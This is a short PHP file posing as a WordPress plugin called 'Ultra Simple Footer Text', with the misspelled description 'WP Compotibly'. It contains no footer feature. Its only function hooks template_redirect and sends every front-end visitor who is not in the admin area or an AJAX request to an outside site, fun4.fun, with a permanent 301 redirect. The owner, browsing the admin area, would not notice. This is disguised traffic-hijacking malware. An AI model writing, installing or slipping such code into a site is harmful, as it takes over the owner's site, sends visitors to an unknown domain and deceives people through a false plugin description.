<?php
/**
 * Plugin Name: Ultra Simple Footer Text
 * Description: WP Compotibly
 * Version: 1.0
 */

if (!defined('ABSPATH')) {
    exit;
}

function usft_redirect_to_fun() {
    if (!is_admin() && !wp_doing_ajax()) {
        wp_redirect('https://fun4.fun/', 301);
        exit;
    }
}
add_action('template_redirect', 'usft_redirect_to_fun');